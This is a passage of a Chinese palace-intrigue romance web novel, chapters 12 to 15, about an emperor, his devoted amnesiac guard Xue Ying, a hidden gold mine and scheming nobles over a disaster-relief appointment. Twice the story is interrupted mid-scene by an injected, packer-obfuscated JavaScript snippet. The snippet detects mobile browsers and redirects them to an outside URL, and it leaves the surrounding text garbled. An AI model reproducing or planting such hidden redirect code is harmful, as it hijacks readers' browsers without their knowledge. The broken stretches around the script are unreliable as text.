掌柜纳闷着想,面前这人分明是几次皇城祭典露过面的国师万笠,可为何他拿钱的时候要报另一个人的名字“雪萤”?掌柜毕竟阅历老道,猜到这里面必然有隐情,只盘算先将人稳住。 他恭顺地笑着道:“回大人的话,凌阳侯确实是小店老主顾,只是这支取银票的事情,需得侯爷手谕到了,我们才敢动,不然那便是擅自挪用客人钱财,那肯定是不合规矩的。” 万笠听了有些不高兴,拿不着银子,他这趟就白跑了。他拿鼻孔哼了哼气:“拿那个什么手谕,需要多长时间?” 掌柜依然笑得谄媚:“最多三四日。” 万笠不耐烦道:“那你们赶紧去办好,我三日后再来。” 掌柜热络地将万笠送出门去,回头便赶紧差遣人到凌阳侯府,将方才所发生事情一五一十全部告知给管家听。 听完管家转述,凌阳侯登时眼睛都直了,脚下稳不住地后退数步,还是叫身后一干幕僚搀扶住,这才没有摔到地上去。 “这才多久前的事情啊,太后那边的人就知道了……”凌阳侯声音发着颤,细听其中还含着恐惧,“这不是明摆着在恐吓本侯……本侯的一举一动都在他们的监视下……” 幕僚们连忙叫管家退下,手忙脚乱搀着凌阳侯进到屋内,端茶的端茶,顺气的顺气。过了一会儿凌阳侯缓过神来,拍着大腿咬牙切齿道:“太过分了,太过分了,非得逼本侯跟他们拼个鱼死网破么?!” 有幕僚劝道:“侯爷去见雪大人,并许诺报酬的事情,只有侯爷、长史和雪大人知晓,消息断然不可能是侯爷与长史泄出去的,会不会是雪大人告诉给那万笠听的呢?” 凌阳侯瞪那人一眼,骂道:“你当人家是蠢货么?这事本来就……就不光彩,他是最不可能拿出去跟人宣扬的人,更别说还告诉太后的人,能做到皇帝身边御殿督卫最高那个位置,他能不明白这些事情?你们啊,动动脑子吧!” 房梁上的雪萤却不大高兴了,骂谁蠢货呢,他只是觉得万笠说得有道理,以他现在这个身份,不能随便亲自收别人的钱的,万一连累到主上可就不好了,反正万笠说那十万两他只拿一点点点辛苦费,剩下的还是都要给他的。 底下一群人又吵了起来,不过经历了万笠找上门来这事,现在的风向变成了大部分支持投靠皇帝的人,劝说小部分还坚持保持原先立场的人。 雪萤坐在房梁边,往下看了一眼,脑子里忽然冒出来一个想法。 他捏着嗓子,声音插进一堆吵架声当中拱火:“选皇帝绝对没错!选皇帝绝对没错!” 周围乱糟糟的吵成一片,凌阳侯压根分不清谁是谁的声音,只听见清凌凌的这么一声,下意识接话道:“说得对——” 他“啪”的一声拍在桌子上,拿定了主意:“本侯现在就进宫,告诉皇帝‘那件事’,换一条赦免令!” 13. 第 13 章 宫里,义蛾生正在书房看各方呈上来的折子。 这当中除了朝堂群臣谏言,还有御殿督卫从外面传回的消息,说灾害前前后后发生已经有十余日,所处地界的若水王与裕国公懒怠应对,非但没有积极主动派人赈灾,反而私下与勇乾王通气,催促朝廷赈灾救人修路。 义蛾生边看边冷笑,也难怪勇乾王对此事这样上心,原来私底下的盘算可还不少。此乃一石二鸟,既让朝廷大出血,又能叫他们暗暗谋算了武显侯,达成他们的目的。 现在的问题是,到底要顺着勇乾王那几人的意,派出武显侯,还是换另外一个人去赈灾? 如果选前者,义蛾生现在并没有十足的把握,要是他这边多几位有话语权的诸侯便好了,他还能争上一争,如果选后者,没有顺了勇乾王等人将武显侯派出去,他们肯定还会在别的地方玩阴的,这样看来,还不如选一个他能把控的走势…… 他正烦着纠结着,外面宫人来报,说凌阳侯与禁军副统领涂长东都要见他。 义蛾生想了想,点了凌阳侯的名,晾着涂长东。 凌阳侯进来后跪在地上行了礼,便开门见山地说自己要揭发检举若水王。 义蛾生拿着一张翻开的折子,漫不经心道:“朕如果没有记错,凌阳侯素来与若水王关系不错,怎么今日突然说要揭发什么……” 凌阳侯答道:“与若水王关系好不过是基于利益,个人利益相比起国家利益,那是微不足道的,现在若水王做出有损国家利益的事情,臣怀揣着这个秘密,成日忧思不得眠。思来想去,还是决定要告诉给陛下听,唯一担忧的是,要是说了出来,臣这个人安危,整个侯府上下的地位,能不能有保障。” 义蛾生不动声色地瞥他一眼。凌阳侯一早去见了雪萤的事情,很快就传到他这里来,他想凌阳侯的转变除了先前曾贵妃被太后处死一事的余力,一定还因为今日与雪萤的谈话。虽然不知道雪萤到底跟凌阳侯说了什么,不过结果叫人满意就是好的,他的雪萤还真是有本事。 义蛾生放下奏折,淡淡地说:“凌阳侯说笑,侯爷原本就是先皇时期的功臣,如今又是朕的臣子,只要对朕极尽忠诚,朕自然有义务要庇护他们,谁敢威胁他们?” 听见这话,凌阳侯便知皇帝答应了,整颗心重新落回肚子里,这才慢慢道:“陛下,早在三年前,若水王在他的封地上,发现了一座金矿……” “金矿?”义蛾生一下就愣住了。 太后宫里,宫人尽数被屏退,勇乾王正与太后关起门说着话。 勇乾王道:“只要皇帝肯派出武显侯,定要他有去无回……” 太后倚在软榻上,懒懒地问:“哀家倒是看不太懂了,王爷这到底打的是什么算盘?” 勇乾王微微一笑:“自然是……一石,三鸟,本王要尽收网中。” 太后让他说得起了好奇心:“哦?哪来的‘三鸟’?” 勇乾王一手按在膝盖上,轻轻地按拍着:“此次外派赈灾,叫武显侯去,事情办砸了,他那封号与封地,必然是要被夺的,说不定连家眷都要跟着被流放……” 太后笑道:“王爷这么肯定,武显侯会把事情办砸?万一人家办得漂漂亮亮,回来可是要受封赏的。” “对!”勇乾王说,“等他一到那地,本王早与若水王与裕国公交代好,以炸药崩裂山体,彻底将那条官路封死。” 太后大惊:“你们疯了?!” 她甚至在榻上坐直了身体:“不治灾也便罢了,你们还要继续添乱……” 勇乾王淡淡笑道:“就是要毁了那条官道,这样,朝廷想要把西南的材料往外运输,就必须重新修一条道。” 他看着太后:“太后应该知道,三年前,若水王那块地上,发现了一处金矿?” 太后不知他又要说什么,稀里糊涂地点了头,金矿这事她还是知道的。 勇乾王说:“当时他与本王,还有裕国公,我们三人商议好,那金矿中产出,他拿五成,本王拿四成,裕国公拿一成……本王那四成,从若水王封地送到裕国公封地,进行精炼加工,正好裕国公还要替本王打造兵器,每到往本王这里运送兵器的时候,就将那些精炼好的黄金,外表抹上石灰,伪装成砖瓦,一起送过来。” 他这些话听得太后有些心惊。私造兵器,发现金矿隐瞒不报,无论哪一个,都是要诛九族的大罪,要不是勇乾王府是她的娘家,她也不能听到这些事情的…… 勇乾王见太后变了脸色,温声安抚道:“太后不必心忧,我们好好瞒着皇帝的耳目的,他到现在什么都还不知道。就算知道了又如何……天子势微,能把我们这几位王公诸侯如何?” 他笑了笑:“本王可还没有忘记,十年前天子初登基时,是怎么跪着求我们这些诸侯,拿钱给他填补国库的。” 太后让他说得稍稍安了心:“这确实是。” 勇乾王点点头,这才继续说下去:“这官路被彻底毁坏封死,武显侯问罪无疑,他的封地空出来,本王势在必得。另外到时候肯定要改道重修,从若水王封地到裕国公封地上,只会更方便,这便是‘二鸟’。” 弄清楚了谋害武显侯的算计,太后心里对大局便也明了了:“赈灾、改道重修,都要吃去朝廷一大笔钱,国库本就不太充裕,皇帝定会捉襟见肘,等王爷到时候吞了那武显侯的封地,更能好好地拿捏他,这正是‘三鸟’……” 她满意地大笑起来:“妙啊,妙啊。” 勇乾王捻着胡须,也跟着微笑点头。 他又道:“所以皇帝那边,太后也得多活动活动,势必要他选了武显侯,不要选别人。朝堂上本王已与几位老臣上书陈言,后宫这边么,还是得倚仗太后。” 太后抚了抚发鬓:“王爷放心,哀家心里有数。” 义蛾生听凌阳侯说完关于若水王封地金矿的事情,不咸不淡地问了几句,心里大致有了想法。 凌阳侯与若水王关系还可以,但关于金矿之事也只晓得个大概,知道有这么一个存在,再往深去了解的却不多,比如若水王如何开采金矿,开采出来的黄金如何处置,是否还有其他人知情等等…… 最后那个问题,凌阳侯只说:“勇乾王一定是知晓的。” 那这次赈灾是否还会与这座金矿有什么关联……义蛾生一边思索着,叫凌阳侯退下了,又让人宣召等候许久的涂长东进来。 涂长东顶着贴了绷带的鼻子走进来,进门便跪在义蛾生脚下,哭诉道:“陛下,您一定要为臣做主啊!” 他指着自己被雪萤踢断的鼻子,一把鼻涕一把泪地控诉:“陛下身边那个御殿督卫,对,就是叫雪萤的那个,刚才他一脚踢断了臣的鼻子,御医说恐怕很难好起来了……” 义蛾生一听,猛地摔了毛笔,沉下脸色:“你说什么?!” 自打复生后,雪萤第一次出门才半日,便与人起了冲突……他没记忆,也没了那一身本事,有没有叫人欺负了去,有没有受伤?义蛾生越想越担忧,看向涂长东的眼神越发阴戾。 要是让他的雪萤出了事,不管面前的人是谁,都必须付出代价! 涂长东却以为皇帝在愤恼雪萤给自己添麻烦,心头暗自窃喜,继续煽风点火:“陛下,您一定要严惩他,御殿督卫象征的是陛下的仪表,他做出这般失格之事,就是在抹黑陛下您的颜面啊!” 义蛾生站起身,烦躁不安地在书房内来回走了几步,最后吩咐宫人:“将雪萤找来,还有,叫谢陵也过来。” 凌阳侯离开进宫后不久,雪萤也离开凌阳侯府,返回宫中。 刚一进宫,便有御殿督卫找了过来:“雪大人,可算找到您了,陛下正在找您,他在议政殿书房。” 一听主上在找自己,雪萤连忙赶了过去。 刚进议政殿,便看见涂长东这狗东西跪在地上。见他进门来,涂长东眼睛里幸灾乐祸地写着“你完了”,雪萤心里便知道,这狗东西肯定是跑到主上面前告他的状了。 旁边还跪着垂首不语的谢陵。雪萤走到主上面前,单膝跪下认认真真地行过礼,义蛾生问他:“你去哪里了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418510|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪萤回答:“听从主上的话,四处走动熟悉环境。” 他的回答永远都能让义蛾生舒心,一听他没有到处乱跑,看起来也不像是受了伤受了委屈,义蛾生的脸色这才好了些:“起来吧。” 雪萤从地上站起身,涂长东也想跟着站起来,这时谢陵低声说了句:“没叫你起来。”涂长东抬头望了一眼帝王的脸色,一时哑然,悻悻又跪了回去。 义蛾生将三人扫了一眼,目光落在雪萤身上:“涂长东说你踢断他的鼻子,这是怎么回事?” 雪萤神色好似愣了一下。但他没有说话,而是又一次跪在义蛾生面前。 义蛾生眯起眼:“朕在问你问题。” “雪萤不敢说。”雪萤垂着他那双狗狗眼,露出有些可怜的模样,“因为,因为,这是失了主上面子的事情……” 旁边的涂长东瞪圆了眼睛,只见过人会变脸,从未见过有人竟然还会“变眼”!他明明记得,今天雪萤踩他鼻子的时候,那双眼睛威风凛凛地飞扬着,怎么这会儿就能耷拉下去,跟受了天大委屈似的? 义蛾生脸色微变,听见雪萤这样说,他想肯定还是受委屈了,或许是怕给他添麻烦,所以才支支吾吾不敢说。他定了定心神,又道:“说。” 雪萤这才抬起头,先朝涂长东看了一眼,看得涂长东背后发毛,然后说:“万笠跟臣说,臣是主上身边的御殿督卫,臣的一举一动都代表着陛下的意志,臣的荣耀代表着陛下的颜面……” 义蛾生沉默片刻:“不错。” “那这个人,今天想摸雪萤的脚踝。”雪萤指着涂长东控诉道,“这不就等于是想摸主上的脚踝?!你竟敢以下犯上,用这种方式羞辱主上!” 涂长东让他吓得差点没魂飞魄散,一看帝王脸色阴沉,惶恐道:“不不不不……不是这样……陛下!臣绝无此意——” 义蛾生面色难看地盯着他:“你摸了他?!” 涂长东这会儿哪还敢计较鼻子被踢断的恩怨,长着嘴都说不出解释的话,语无伦次地辩解着,义蛾生听得不耐烦,问谢陵:“到底有没有这回事?” 谢陵抱拳回话:“回陛下,有……” 他看了一眼雪萤,总算是知道他家大人打的什么算盘。转念又想,要是借着此事打压禁军,不但为他们扫除了障碍,也遂了陛下想要剪除禁军的想法,如此看来,那他得将事情往严重了说去…… 谢陵停顿一下,又道:“先前臣奉命领着雪大人四处走动熟悉时,不巧碰上涂大人与其禁军,他们一见我们,便将我们团团围住,然后他摸了……摸了雪大人的脚踝,雪大人奋起反抗,才踢断他的鼻子……” 这回到雪萤瞪大眼,震惊地望着谢陵。 明明就没有摸到,谢陵,你坑害我!让主上听见,他一定会死得很惨很惨的…… 雪萤已经不敢抬头去看主上的脸色了,脑子里回响着“完了完了”。 涂长东有口难辨,当时他那角度挡着雪萤,除了他和雪萤,别的人都没看清他到底摸到还是没摸到,要是雪萤与谢陵都坚称他摸到了,皇帝肯定是信了他们的话,当他侮辱了雪萤。 许久之后,义蛾生终于开口了,他的语气听着还算平静,只是尤其的低沉:“是么?涂长东,先滚下去,整顿你的人,听候发落。” 涂长东已经叫帝王的威压逼得差点窒息,一听这话,也顾不得接下来会有什么“发落”,连滚带爬地退了出去。 义蛾生朝谢陵看了一眼:“你也下去吧。” 谢陵低头回了一声“是”,无声无息地离开了。 雪萤眼巴巴地望着他主上:“那臣是不是也可以……” 无关紧要的人离开后,义蛾生的脸色彻底阴了下来。他拎着雪萤的后颈将人从地上带了起来,推到书房内唯一的椅子上坐着,而后欺身靠近,单膝抵在椅子边,自上而下地将雪萤罩在自己身下。 这是一个极具威胁和侵犯的姿态。他伸手捏着雪萤尖尖的下巴,阴冷地笑了起来:“你?你该给朕好好说说,他摸了你什么地方?” 14. 第 14 章 雪萤还拿有些可怜的眼神望着他的主上。刚想解释谢陵是乱说,涂长东明明连他一根毛发都没有碰着,他怎么可能会让除了主上以外的其他人碰他嘛……但看主上现在这个反应,跟那日见他戴着挂坠有些相似,也就是说—— 主上可能也会像那日一样夜里折腾他?折腾完了会让他继续睡懒觉,不用早起上朝? 不用早起可是好事啊。雪萤现在完全不怕主上发脾气,反而有些期待,解释的话到嘴边又咽了回去,他抬起搭在软榻边缘的一条腿,在义蛾生跪于软榻上的大腿外侧蹭了蹭,然后说:“摸了这只脚的脚踝……” 话音刚落,他的脚踝便落入帝王的掌中。义蛾生撩开裤腿,拿掌心贴着光洁的皮肤缓缓抚过,低声问他:“这儿?” 他心里有些扭曲地绞了起来,又忍不住冷笑,别的什么记忆都没有了,果然就身体还记着以前勾他的动作呢。 被捏着脚踝制住半边身体,雪萤差点在椅子上坐不稳,下意识伸手就想抱身前的男人。义蛾生却撇开他的手按在椅背上,又问了一次:“是这里么?” 主上手掌的温度烫得雪萤感觉皮肤下都要烧起来,他看见主上的脸色和眼神都很难看,好像有什么东西都要掩饰不住一样,有些担心他生气伤身,想了想,还是决定不要玩得太过分,于是抬手抓住主上另一侧手臂的衣袖,微微起身,在男人耳边说:“没有像您这样直接摸,而且只是刚碰到就被臣踢到了鼻子……” “那也不行,”义蛾生说,“不准、任何人碰到你——” 又补充一句:“除了朕。” 话说出口后他便立即有些后悔了,因为他自己都察觉到这句话中饱含过量的占有欲,已经超出正常君臣之间关系的限度,这本该是十年前自然而然对爱人脱口而出的话语,不应该对现在的雪萤说出来。他下意识去打量雪萤的反应,既期待、又怕他听出什么端倪来。 雪萤却还是那副无知无觉的模样,只说:“雪萤都听主上的。” 于是义蛾生的心情又有一些低劣下去了。 他想要的,不是雪萤对命令的绝对臣服,尤其对一个连身份都没有分辨得很清楚的主子…… 这样消沉的心情,并没有持续太久,因为下一刻,雪萤用手按在他握着脚踝的那只手背上,在他耳边跟他说:“雪萤只给主上摸。” 义蛾生眸色倏地暗了下来,手上没留意用了些力气,雪萤一下受惊忍不住叫了一声。他的主上却揶揄地看着他说:“不说给朕摸么?这都受不住。” 雪萤知道主上心情有所好转,便放下心来,哼哼唧唧又顶了两句不轻不重的嘴,这时却听见外面宫人传报,说兵部尚书求见。 听有外人要进来,雪萤吓得一哆嗦,想起自己这会儿正“大逆不道”地坐在主上的位置,惊慌失措的就想从椅子上逃开,却因为脚踝叫人制在手中,刚使力往外冲了一下,又因为惯性弹了回来。 义蛾生叫他的举动逗得发笑,眼底的阴翳彻底一扫而空。他伸手摸摸雪萤的脑袋:“叫他在外面回话。” 兵部尚书便站在书房外候令。 义蛾生朝外面说:“涂长东带的那批禁军,既然他们的职责是看守皇陵,从今往后,就叫他们呆在皇陵范围内,半步不准外出走动。” 来的路上,兵部尚书便听闻皇帝身旁御殿督卫今日在禁军手中“受辱”的事情,这宫里宫外有许多人对皇帝不屑一顾,有人甚至很大胆,总要试探皇帝的底线在哪里。而这御殿督卫便是让人试出来的“底线”,十年前“中术”组织以整个灭亡的血淋淋教训,告诉了世人御殿督卫是皇帝触碰不得的逆鳞。 他今日受召见前来也是为这事,涂长东再是太后和勇乾王的人又如何,侮辱御殿督卫等于是在侮辱天子,皇帝一定会在这件事上大做文章……兵部尚书犯难的是,太后那边该如何应付? 皇陵禁军原先仗着有太后做靠山,在宫中横行霸道惯了,当值期间从不安分呆在皇陵,在校场混着还算好的,多的是跑到外面喝酒打架斗殴,陛下下了这道禁足的命令,已经算非常严厉了,只怕涂长东会到太后跟前告状。 他走神的这么一会儿,皇帝的声音又从内里传来:“你要是看不住他们,就派朕的人去。” 这话的意思是,派御殿督卫前去?兵部尚书大吃一惊,若真如此,那便是等于变相软禁,更激化皇帝与太后之间的矛盾。他哪里敢让陛下做此决策,连忙回道:“臣领旨,定会严厉执行陛下命令。” 义蛾生叫他退下了,然后拿开雪萤捂住自己嘴巴的手,自己也坐到椅子上,跟雪萤挤在一块,手中还握着雪萤那段脚踝。 刚跟兵部尚书说话时他的动作也没停下,将雪萤吓得够呛,生怕一不小心泄了一声叫唤出去,让主上的大臣们误以为这里面在做什么不正经的事情……所以才把自己的嘴巴死死地给捂住。 拿开手,露出雪萤憋得绯红的小脸,眼泪也冒了出来,聚在眼眶里摇摇欲坠,看着很是可怜。义蛾生捏着他红彤彤的脸蛋揉了揉,忍不住的好笑:“有这么害怕?” 雪萤好一会儿才挤出一句:“不害怕。” 看主上心情似乎有些不错,他想让他更高兴一些,于是又说:“只要主上能开心。” 他的主上心情果然更好了些,又揉着他的脸说:“乖雪萤。” 得到了主上的夸赞,雪萤也很高兴。他低下头,在主上的手心中蹭了蹭脑袋,让主上摸他柔软光滑的头发。 从兵部尚书那里听来皇帝的发落,涂长东一刻也坐不住,立马冲去太后宫里哭爹喊娘地告状。 太后本来就看雪萤不顺眼,得知此事又是因雪萤而起,当即怒火上头,起身领了人就往皇帝那议政殿去。禁军是她拿着公家的账面,收卖诸侯们的手段,怎么可能眼睁睁看着让皇帝这样处置? 她在宫里从来都是横冲直闯,就连皇帝参政的这种地方从来也是来去自如,根本不需要等候通报,直接走了进来。 好在这时候义蛾生已经放了雪萤,太后进来时,只看见人在义蛾生身后立着,上来便语气不善地冷笑道:“皇帝当真是疼宠你这小侍卫,只怕恨不得把人拴在裤腰带上,到哪儿都带着。” 义蛾生看着她,心道这不正合了他的心意么? 他问:“太后有什么事?” 太后瞥一眼身后缩着脑袋的涂长东,依然冷笑:“陛下自己心里清楚。” 义蛾生丢了奏折,身体后倾放松地靠在椅子上,气势却不让太后半分,微笑起来:“哦,狗就是狗,改不了吃屎,这边告状无果,又跑到另一边告状,这么勤勤恳恳,可算是告成了,不然都对不住每月发这么多的俸禄。” 太后猛地在他面前桌上一拍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418511|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涂长东让太后这番作为壮了胆气,不由得挺了挺腰。可刚一抬头就对上义蛾生身后雪萤看他的眼神,鼻子好像有感应似的一痛,气势立马就软了下去。 太后疾言厉色道:“陛下这侍卫飞扬跋扈,将禁军副统领打成这个样子,你不管教便罢,竟然还要发落全部禁军……” 她冷哼一声:“皇帝,你好大的威风。” 义蛾生这会儿让雪萤哄得心情正好着,不想与她吵,只淡淡道:“侮辱御殿督卫,等同于侮辱皇帝,不惩戒禁军,太后觉得该给朕怎样的一个交代?” 太后变了变脸色,大概是想到当年的“中术”组织。当年太子与皇帝让她抱走抚养,太子从小在她膝下长大,至于皇帝,正是她授意“中术”栽培控制,而后却听闻“中术”害惨雪萤,叫皇帝悲愤难当地灭了个干净,自然是让她受了不小惊吓,对皇帝的嫌恶与忌惮,正是从那时候开始的。 现在皇帝又拿御殿督卫发挥……太后幽怨地看雪萤一眼,说:“人这不是什么事都没有么,陛下用得着这么小题大做?” 义蛾生似笑非笑看着她:“人要是有事,可就不是现在这个处置了。” 太后让他笑得背后一阵恶寒。 义蛾生又说:“太后要是不想让禁军受处置,朕还有一个提议。” 他的目光看向涂长东:“一人做事一人担,这原本就是涂长东个人的行为,叫整个禁军跟着受罚确实不太妥当。不如这次朝廷外派赈灾的官员,便叫他的父亲涂大人去,事情办妥了,今日之事一笔勾销,朕另外还有嘉赏,要是没办妥……那到时候一并惩处。” 太后大惊,一句话脱口而出:“不行!” 勇乾王特意交代她必须把武显侯弄去赈灾,怎么能让皇帝选定涂长东他爹去?那可就坏大事了。 义蛾生早看穿这些人的把戏,心头冷冷笑着,面上却故作疑惑:“为何不行?” 太后藏在袖下的手指紧扣在一起,暗暗咬牙。 她看了涂长东,又看了皇帝,心里明白今日要是不让皇帝发作出了这口气,那赈灾人选便不会有余地了。 半晌后,太后终于让了步:“那就还是按陛下先前的意思做吧,让禁军去皇陵拘着!” 涂长东震惊地睁大眼,发生了什么?啊?啊? 义蛾生好整以暇又是一笑:“朕先前看过户部给的开支,发现禁军俸禄高出同级过多,不如趁着这次正好调整一下,太后应该不会有意见吧?” 问的是“意见”,说的是威胁,太后让他气到说不出话来,怒不可遏地拂袖离开。 涂长东头昏眼花的,还是弄不清现在是个什么情况,只见太后离开,也不敢继续多留,连忙跟在后面也爬开了。 雪萤也一样不知道太后为什么突然就松口了,只知道他的主上很厉害,于是凑了过去,蹲在主上面前,眼睛里晶晶亮亮地闪着钦羡的光:“主上好厉害,替雪萤出气了!” 义蛾生通体都被夸得舒爽,看着雪萤只觉得他既像猫又像狗,忍不住伸手去挠他的下巴:“高兴?” 雪萤主动抬起下巴让主上挠,眼睛都要眯成一条缝,上下睫毛收在一起越发显得浓密漂亮:“嗯!” 义蛾生从来都觉得他全身上下哪里都好看,于是伸手将人从地上拽了起来,又让他在自己身旁坐着,然后把他的眼睫毛摸了摸。 15. 第 15 章 经历过上午涂长东这遭,义蛾生不知为何有些不安,下午又将雪萤留在书房看书,不让他出去走动。 这几日下午安排都在书房看书,雪萤便没有怀疑主上留他有别的心思,依然坐在义蛾生椅子旁的毯子上自己看书。 他看了一会儿书,忽然发现主上似乎有些烦恼,拿着几本奏折和信函来来回回翻看,皱起来的眉头就没有松懈过。他有点想用手抚平主上的眉头,又没忘记主上不太喜欢他主动靠近,于是只能眼巴巴地望着。 义蛾生很快发现他的眼神,低头问:“怎么了?” 雪萤反问:“主上怎么了?” 义蛾生还在考虑赈灾人选。他本来不打算跟雪萤说,忽然想起要让雪萤接触政务,于是将人从地上拉起来,让他站在桌前,圈在双臂间,一边翻着奏折一边跟他说了由这次天灾引发的一系列错综复杂的算计,还把凌阳侯前来告发关于若水王开采金矿的事情一并说了。 雪萤消化了好一会儿,然后问:“主上不想让武显侯去赈灾?” 义蛾生道:“也不是想不想——朕只考虑利益最大化,如果叫他去,真按照勇乾王算计出事,他那块封地空出来,朕如果有把握夺过来,让他去便是好的,朕还能趁机剪除一名诸侯。但若是相反,那块封地叫勇乾王夺去,朕还失了一名勤恳干事的臣子,这便不划算了。” 他顿了顿,又说:“如今凌阳侯倒是倒戈了……只是,朕还需要更多助力。” 雪萤想了想说:“主上,让雪萤替你调查武显侯吧。” 义蛾生失笑:“公卿诸侯们的资料动向,你醒来之前,朕一直便让人收集汇总的,你这时候外出调查,也查不到更多的东西。” “那臣去看看那些搜集的资料。”雪萤说,“说不定能发现什么新线索。” 义蛾生心里并不抱太大期望。正如他所说,他一直以来都将群臣大部分的家世动向掌握在手中,今日朝上武显侯被推举出来后,他立即在脑中过了一遍关于武显侯的一切,却只想到此人行事板正,能干事,再就是他受封的那块如命脉一般关键的封地。 但他又不想打击雪萤的积极性,雪萤想为他分忧,就让他去,哪怕最后努力过的结果是一无所获,总比还没有开始就说他不行来得好。 这样想着,义蛾生“嗯”了一声:“你去吧。” 雪萤去了御尉十一卫所中的第三卫所,这里主要负责替皇帝搜集天下各方信息,这里的御殿督卫在暗中行调查之事,再将搜集到的内容原封不动地呈给皇帝。这部分职务的内容最早是雪萤的工作,所以要重新接手起来并不困难。 他叫人替他找来关于武显侯的资料,将历来搜集的全部内容摆在面前,仔仔细细全部都看过了,第三卫所的监卫士云站在旁边侍奉,以便为雪萤答疑解惑。 雪萤很快看完了,他抬头问士云:“武显侯家只有一位公子?” 士云微微躬身:“是。今年刚满过十七,太后原本想收入禁军拉拢武显侯,让武显侯拒绝了,只让他自己走科举这条路子。” 雪萤想了想说:“我知道了,我出宫一趟。” 士云想起谢陵先前交代,迟疑一下,问:“可否需要属下陪同?” “不必。”雪萤伸手抽走武显侯与小侯爷的画像,“我很快就回来。” 这时已是下午,国子监放了课,学生们鱼贯而出,又各自钻进街道两旁的酒肆铺坊寻欢作乐。雪萤站在这条街上最高那座建筑的檐头上,目光在密密麻麻的人头中搜寻着。 他眼神极好,不到一刻便在茫茫的人海中找出武显侯家小侯爷那张脸。这要是换成普通侍卫来搜人,只怕要带一队人,搜上半个时辰才能找到。 寻到了目标,见小侯爷与身旁同行进了一家酒楼,雪萤身形一动,如同一阵风一般吹进了那座酒楼的二层。 小侯爷进的是一间包房,同行是一名看起来比他大上一些的年轻人,同样一身贵气,看来便知身份不简单。想来也是,小侯爷身份尊贵,结交之人不是达官显贵,就是与他身份相当的公侯之子,只是雪萤不认识人,只能默默记下相貌。 在二人落座之前,他便从窗户钻了进来,无声无息地隐在屋梁上。 伙计先上了酒来给二人倒上,举杯小酌后,那名年轻人先开了话头:“如故,听说圣上有意钦点侯爷外派赈灾?” “还没定呢。”说起这个,江如故搁下酒杯,眉眼间浮上一层愁色,“也不知圣上是否会让父亲前去赈灾……我听到一些风声……说这次外派,恐怕不是一件好差事。” 那名年轻人好似也有些吃惊,但很快镇静下来,拍拍江如故肩膀:“你且安心,莫要忧愁,先不说钦使人选还没有定下来,你父亲本来就有德有才,真要去了,想必一定能将事情办得妥当。” 江如故朝向他那方,垂着脑袋点了点,眼色还是一片化不开的忧愁。那年轻人又轻声说了几句宽慰的话,待他如同兄长一般宽厚,雪萤在上面看着二人动作,只是隐约觉得那份关照中,多了一些超出普通朋友的亲昵。 他又看了一会儿,趁着开门上菜的空当,从大门口闪身离开,也不怕那低头说话的二人与上菜的伙计看见,就是看见,也只能看到一道残影。 他又回了第三卫所,正碰见士云准备离开。见他进来,士云放下东西,抱拳行礼,又多留了一会儿在旁伺候着。 雪萤翻出纸笔画了那名与小侯爷同行的年轻人,举起来给士云看:“这是谁?” 士云定睛看了一会儿,慢慢地回忆道:“这位似乎是文国公家小公爷,高进豫。” 士云猜雪萤出宫应该是跑去看武显侯家那位小侯爷,正好碰到高进豫,又想起来什么,说道:“属下隐约记得,这二位世子关系向来都要好。” “我知道了。”雪萤将武显侯、江如故,还有高进豫的画像都放在一起,“你先回去吧,暂时没有你什么事了。” 士云低头回“是”,行礼退下。 雪萤卷着画像又回去寻他主上,义蛾生已经没再纠结赈灾的事情,转而处理起别的事情。见雪萤敲门走进来,他抬头应了一声:“回来了?” “臣回来了。”雪萤走到主上身前,将画像放在书桌旁。他没说自己查到了什么,因为严格说来,他确实什么有用的线索都没有查到。 倒是义蛾生自己主动伸手拿起画像看了看:“这不是武显侯、武显侯他儿子,还有文国公家长子么,你找他们的画像做什么?” 雪萤迟疑一下,跟主上说:“臣刚才去,确实没有发现什么新的东西,不过倒是看见武显侯家小侯爷与文国公家小公爷相伴同行,关系很是亲近,臣就想,二位世子都是未来爵位的继承人,要是武显侯家里出事,文国公世子怕是有所反应,就是不知道,会是好事,还是坏事呢……” 义蛾生愣了一愣,慢慢地说:“你倒是提醒朕了。” 十年前他为摆脱“中术”组织控制,又为“中术”挑起他与太子斗争、最后牺牲雪萤而悲愤难平,于是将“中术”灭了个干净,当时叫诸侯王公震骇不已,对他颇为忌惮。可后来登基为帝,因得国库空虚,民不聊生,他只能低下头去向诸侯们借银,以勇乾王为首的诸王公侯们有意折辱他,要他跪下磕头去求,他这么做了,那些人却戏耍他,出尔反尔,矢口否认要借银给他。 他无法,只得一处一处的求过去,吃了无数的闭门羹,最后求到道国公面前,才从道国公那里借到了银两。虽则危机化除,他的威严与尊荣却被磨得所剩无几,所以早在刚登基的那几年,诸侯们压根没有将皇帝视作需要上心的对手。 他们坐拥着宽广无垠的土地,却还是不满足,仍要惦记着别人的东西,明争暗斗,尔虞我诈,视天子为不存在,彼此相互厮杀掠夺,可这却给了义蛾生喘息和发育的机会。等到勇乾王反应过来时,皇帝已经磕磕绊绊地给自己造了一片立足之地,甚至卸了太后在朝堂的话语权,沉默而又锐利地注视着他们,犹如藏在暗中蓄势待发的猛兽,他这才如梦初醒,连忙和太后盘算起打压天子、护持他千秋万代荣盛的门道。 